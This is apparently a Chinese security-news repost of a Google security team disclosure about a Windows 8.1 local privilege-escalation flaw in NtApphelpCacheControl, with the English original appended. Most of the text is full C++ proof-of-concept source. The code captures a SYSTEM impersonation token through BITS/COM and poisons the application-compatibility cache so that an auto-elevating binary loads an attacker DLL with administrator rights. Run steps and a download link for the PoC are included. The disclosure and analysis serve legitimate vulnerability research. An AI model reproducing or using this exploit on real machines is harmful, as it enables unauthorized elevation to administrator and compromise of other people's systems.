9月30日,google security team报了一个win8.1的提权漏洞给微软,直到过了90天期限的今天,微软仍然没有给出一个广泛可用的补丁,所以google security team公开了提权0day的poc,给大家作为新年礼物。
微软在Win8.1上更新了系统调用NtApphelpCacheControl(代码实际上在ahcache.sys),允许建立兼容性数据缓存并在新的进程被创建时重新使用。
一个普通用户可以查询缓存但是不能添加新缓存条目因为此操作只有administrators权限才适用。这一检查在AhcVerifyAdminContext函数中实现。
这个函数存在一个漏洞,他没有正确的检查调用者的模拟令牌来确定用户是否为管理员。
它通过PsReferenceImpersonationToken来读取调用者的模拟令牌,然后比较模拟令牌中的SID和系统的SID。但是它没有检令牌中的impersonation等级,所以有可能在系统进程中获得一个身份令牌从而绕过检查。
目前还不清楚该漏洞能否在win7上利用,他们没有去研究。
Poc在win8.1 32位和64位上都测试成功,跟着下面的步骤来验证:
1)解压获得AppCompatCache.exe和Testdll.dll文件。
2)确保UAC开启,并且为默认设置,当前用户是一个split-token admin。
3)在命令行下运行AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll
4)如果出现计算器表示成功,如果第一次没有成功,请从步骤三重新开始。
POC和源代码(Visual Studio 2013编译)下载地址:
链接: http://pan.baidu.com/s/1kToTOTx 密码: 83uv
SP小编测试截图:
// AppCompatCache.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <string> #include "sdb.h" #define BUF_SIZE 0x108 enum APPHELPCOMMAND { AppHelpQuery, // 0 -> 0x22003 DeviceIoControl AppHelpRemove, // 1 -> 0x22007 AppHelpUpdate, // 2 -> 0x2200B (Admin) AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused) AppHelpNotifyStart, // 4 -> 0x220013 (Admin) AppHelpWriteRegistry, // 5 -> 0x220017 (Admin) AppHelpNotifyStop, // 6 -> 0x22001B (Admin) AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service) AppHelpSnapshot, // 8 -> 0x220023 (Admin) AppHelpQueryModule, // 9 -> 0x220027 AppHelpRefresh, // 10 -> 0x22002B AppHelpCheckForChange, // 11 -> 0x22002F AppHelpQueryHwId, // 12 (doesn抰 go to driver, calls AchCacheQueryHwId) }; struct ApphelpCacheControlData { BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?) DWORD query_flags; // 0x98; DWORD cache_flags; // 0x9C HANDLE file_handle; // 0xA0 HANDLE process_handle; // 0xA4 UNICODE_STRING file_name; // 0xA8 UNICODE_STRING package_name;// 0xB0 DWORD buf_len; // 0xB8 LPVOID buffer; // 0xBC BYTE unkC0[0x2C]; // 0xC0 -> 0xEC UNICODE_STRING module_name; // 0xEC (used for 9) BYTE unkF4[0x14]; // 0xF4 -> 0x108 }; typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf); typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); HANDLE CaptureImpersonationToken(); struct APPHELP_QUERY { int match_tags[16]; int unk40[16]; int layer_tags[8]; int flags; int main_tag; int match_count; int layer_count; GUID exe_guid; int unkC0[264/4]; }; BOOL resolveSdbFunctions(); extern SdbOpenDatabase SdbOpenDatabasePtr; extern SdbCloseDatabase SdbCloseDatabasePtr; extern SdbTagToString SdbTagToStringPtr; extern SdbGetFirstChild SdbGetFirstChildPtr; extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr; extern SdbGetNextChild SdbGetNextChildPtr; extern SdbReadBinaryTag SdbReadBinaryTagPtr; TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid) { TAG tmpTag = 0; DWORD dwD = 0; TAGID newtid = TAGID_NULL; LPCTSTR tmp; DWORD i = 0; GUID guid; newtid = SdbGetFirstChildPtr(db, tid); while (newtid != TAGID_NULL) { tmpTag = SdbGetTagFromTagIDPtr(db, newtid); tmp = SdbTagToStringPtr(tmpTag); // process tag types switch (tmpTag & 0xFFFF) { case TAG_EXE_ID: if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid))) { if (IsEqualGUID(guid, exe_guid)) { return tid; } } break; default: break; } // recursive if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST) { TAGID ret = findExeByGuid(db, newtid, exe_guid); if (ret != 0) { return ret; } } // get next tag newtid = SdbGetNextChildPtr(db, tid, newtid); } return 0; } TAGID GetTagForRegsvr32() { resolveSdbFunctions(); PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH); if (!db) { DWORD stat = GetLastError(); printf("Failed to load SDB file %d\n", stat); return 0; } GUID guid; IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid); TAGID ret = findExeByGuid(db, TAGID_ROOT, guid); SdbCloseDatabasePtr(db); return ret; } int _tmain(int argc, _TCHAR* argv[]) { if (argc < 3) { printf("Usage: AppCompatCache path dllpath\n"); return 1; } WCHAR dllpath_buf[MAX_PATH]; if (!GetFullPathName(argv[2], MAX_PATH, dllpath_buf, nullptr)) { printf("Couldn't get fullpath to dll %d\n", GetLastError()); return 1; } std::wstring dllpath; dllpath = L"\""; dllpath += dllpath_buf; dllpath += L"\""; TAGID tag = GetTagForRegsvr32(); if (tag == 0) { printf("Failed to get SDB tag for regsvr32\n"); return 1; } printf("Found regsvr32.exe tag: %08X\n", tag); HANDLE token = CaptureImpersonationToken(); _RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"); _NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl"); ApphelpCacheControlData data = { 0 }; std::wstring full_path = L"\\??\\"; full_path += argv[1]; printf("Interposing on cache for %ls\n", full_path.c_str()); fRtlInitUnicodeString(&data.file_name, full_path.c_str()); data.file_handle = CreateFile(argv[1], FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, nullptr, OPEN_EXISTING, 0, 0); if (data.file_handle == INVALID_HANDLE_VALUE) { printf("Error opening file %ls %d\n", argv[1], GetLastError()); return 1; } data.query_flags = 0xFF; data.cache_flags = 1; APPHELP_QUERY query = { 0 }; query.match_count = 1; query.layer_count = 0; query.match_tags[0] = tag; query.unkC0[0] = 1; data.buffer = &query; data.buf_len = sizeof(query); int status = -1; // Ensure it the cache if flushed fNtApphelpCacheControl(AppHelpRemove, &data); if (SetThreadToken(nullptr, token)) { status = fNtApphelpCacheControl(AppHelpUpdate, &data); RevertToSelf(); } else { status = GetLastError(); } if (status == 0) { LPCWSTR verb = L"runas"; if ((argc > 3) && (wcscmp(argv[3], L"-n") == 0)) { verb = L"open"; } printf("Calling %ls on %ls with command line %ls\n", verb, argv[1], dllpath.c_str()); ShellExecuteW(nullptr, verb, argv[1], dllpath.c_str(), nullptr, SW_SHOW); printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data)); } else { printf("Error adding cache entry: %08X\n", status); } return 0; }
CaptureImpersonationToken.cpp
#include "stdafx.h" #include <bits.h> #include <bits4_0.h> #include <stdio.h> #include <tchar.h> #include <lm.h> #include <iostream> #include <exception> #include <string> #include <comdef.h> #include <memory> #include <new> #include <sddl.h> // {1941C949-0BDE-474F-A484-9F74A8176A7C}, ensure it's an interface with a registered proxy IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } }; class FakeObject : public IUnknown { LONG m_lRefCount; HANDLE* m_ptoken; void TryImpersonate() { if (*m_ptoken == nullptr) { HRESULT hr = CoImpersonateClient(); if (SUCCEEDED(hr)) { HANDLE hToken; if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken)) { PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000); DWORD ret_len = 0; if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len)) { LPWSTR sid_name; ConvertSidToStringSid(user->User.Sid, &sid_name); if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr)) { *m_ptoken = hToken; RevertToSelf(); } else { CloseHandle(hToken); } printf("Got Token: %p %ls\n", hToken, sid_name); LocalFree(sid_name); } else { printf("Error getting token user %d\n", GetLastError()); } free(user); } else { printf("Error opening token %d\n", GetLastError()); } } } } public: //Constructor, Destructor FakeObject(HANDLE* ptoken) { m_lRefCount = 1; m_ptoken = ptoken; *m_ptoken = nullptr; } ~FakeObject() {}; //IUnknown HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) { TryImpersonate(); if (riid == __uuidof(IUnknown)) { *ppvObj = this; } else if (riid == IID_FakeInterface) { printf("Check for FakeInterface\n"); *ppvObj = this; } else { *ppvObj = NULL; return E_NOINTERFACE; } AddRef(); return NOERROR; } ULONG __stdcall AddRef() { TryImpersonate(); return InterlockedIncrement(&m_lRefCount); } ULONG __stdcall Release() { TryImpersonate(); // not thread safe ULONG ulCount = InterlockedDecrement(&m_lRefCount); if (0 == ulCount) { delete this; } return ulCount; } }; _COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob)); _COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager)); bool DoCaptureToken(HANDLE* ptoken) { // If CoInitializeEx fails, the exception is unhandled and the program terminates IBackgroundCopyJobPtr pJob; try { //The impersonation level must be at least RPC_C_IMP_LEVEL_IMPERSONATE. HRESULT hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING, 0); if (FAILED(hr)) { throw _com_error(hr); } // Connect to BITS. IBackgroundCopyManagerPtr pQueueMgr; IMonikerPtr pNotify; CreatePointerMoniker(new FakeObject(ptoken), &pNotify); hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)); if (FAILED(hr)) { // Failed to connect. throw _com_error(hr); } GUID guidJob; hr = pQueueMgr->CreateJob(L"BitsAuthSample", BG_JOB_TYPE_DOWNLOAD, &guidJob, &pJob); if (FAILED(hr)) { // Failed to connect. throw _com_error(hr); } pJob->SetNotifyInterface(pNotify); } catch (const std::bad_alloc &) { wprintf(L"Memory allocation failed"); if (pJob) { pJob->Cancel(); } return false; } catch (const _com_error &ex) { wprintf(L"Error '%ls' occurred during operation", ex.ErrorMessage()); if (pJob) { pJob->Cancel(); } return false; } return true; } class CoInitializer { public: CoInitializer() { CoInitialize(NULL); } ~CoInitializer() { CoUninitialize(); } }; HANDLE CaptureImpersonationToken() { CoInitializer coinit; HANDLE token = nullptr; if (DoCaptureToken(&token)) { return token; } return nullptr; }
英文原Po:
On Windows 8.1 update the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are created. A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext.
This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways.
It is just then a case of finding a way to exploit the vulnerability. In the PoC a cache entry is made for an UAC auto-elevate executable (say ComputerDefaults.exe) and sets up the cache to point to the app compat entry for regsvr32 which forces a RedirectExe shim to reload regsvr32.exe. However any executable could be used, the trick would be finding a suitable pre-existing app compat configuration to abuse.
It's unclear if Windows 7 is vulnerable as the code path for update has a TCB privilege check on it (although it looks like depending on the flags this might be bypassable). No effort has been made to verify it on Windows 7. NOTE: This is not a bug in UAC, it is just using UAC auto elevation for demonstration purposes.
The PoC has been tested on Windows 8.1 update, both 32 bit and 64 bit versions. I'd recommend running on 32 bit just to be sure. To verify perform the following steps:
1) Put the AppCompatCache.exe and Testdll.dll on disk
2) Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables).
3) Execute AppCompatCache from the command prompt with the command line "AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll".
4) If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run.This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
【原文:Google Security Research 翻译来源:360播报 SP小编整理发布】